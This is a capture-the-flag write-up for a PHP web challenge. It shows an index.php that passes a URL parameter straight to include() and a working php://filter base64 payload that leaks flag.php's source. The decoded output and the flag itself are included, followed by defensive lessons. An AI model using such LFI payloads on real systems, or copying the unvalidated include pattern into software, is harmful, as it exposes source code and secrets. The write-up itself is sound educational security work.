3.7 KiB
The Wrapper
Welcome to the write-up for The Wrapper. This is a "web" challenge that explores a classic and powerful vulnerability in PHP applications: Local File Inclusion (LFI) using PHP Wrappers.
In this challenge, we have access to a "Language Loader v2.0" that dynamically loads different language files. Our goal is to read the secret contents of flag.php.
1. Initial Reconnaissance
The challenge description says:
"Our development team just launched the new Language Loader v2.0! It features a sleek sidebar and dynamic content loading to support our global users in English, German, and Spanish."
When we visit the page, we see a sidebar with links like:
?lang=english.php?lang=german.php?lang=spanish.php
When we click these links, the content of the main box changes. This is a strong indicator of dynamic file inclusion.
2. Source Code Analysis
The challenge provides us with the_wrapper.tar.xz. Let's examine index.php:
<div class="box">
<?php
// Default language
$file = "english.php";
if (isset($_GET['lang'])) {
$file = $_GET['lang'];
}
include($file);
?>
</div>
This code takes the lang parameter directly from the URL and passes it to the PHP include() function. This is a classic Local File Inclusion (LFI) vulnerability. The application blindly trusts our input and attempts to include and execute any file we specify.
3. The Obstacle: Execution vs. Disclosure
We know there is a flag.php file in the same directory (we saw it in the source code archive). Let's try to include it:
?lang=flag.php
The page loads, but the box is empty! Why?
Let's look at flag.php:
<?php
$flag = "{flag:PHP_Wrappers_R_Magic_F0r_LFI}";
?>
The file only defines a variable called $flag; it doesn't print it. When we include it via ?lang=flag.php, PHP executes the code, sets the variable, and that's it. Nothing is displayed on the screen.
To get the flag, we need to read the source code of flag.php without executing it.
4. The Vulnerability: PHP Wrappers
The challenge title "The Wrapper" is a massive hint. PHP has a feature called "Wrappers" that allow you to modify how files are accessed.
One particularly useful wrapper for LFI is php://filter. It allows you to apply filters (like base64 encoding) to a file before it's read or included.
If we use the convert.base64-encode filter, PHP will encode the entire contents of the file as a base64 string and then "include" that string. Since a base64 string isn't valid PHP code, it won't be executed—it will just be printed directly to the page as plain text.
5. Exploitation
We can craft a payload to leak the source of flag.php:
?lang=php://filter/convert.base64-encode/resource=flag.php
When we visit this URL, the content box will contain a long base64 string:
PD9waHAKJGZsYWcgPSAie2ZsYWc6UEhQX1dyYXBwZXJzX1JfTWFnaWNfRjByX0xGSX0iOwo/Pgo=
Now, we just need to decode it:
echo "PD9waHAKJGZsYWcgPSAie2ZsYWc6UEhQX1dyYXBwZXJzX1JfTWFnaWNfRjByX0xGSX0iOwo/Pgo=" | base64 -d
<?php
$flag = "{flag:PHP_Wrappers_R_Magic_F0r_LFI}";
?>
6. The Solution
Flag: {flag:PHP_Wrappers_R_Magic_F0r_LFI}
Lessons Learned
- Never trust user input in
include()orrequire(): Use a whitelist of allowed files instead of directly passing user-supplied strings. - PHP Wrappers are powerful: They can be used to bypass filters, read source code, or even achieve remote code execution (RCE) in some configurations (e.g.,
php://inputordata://). - Defense in Depth: Even if an LFI exists, it's harder to exploit if the server's PHP configuration restricts the use of dangerous wrappers (
allow_url_include = Off).
Happy Hacking!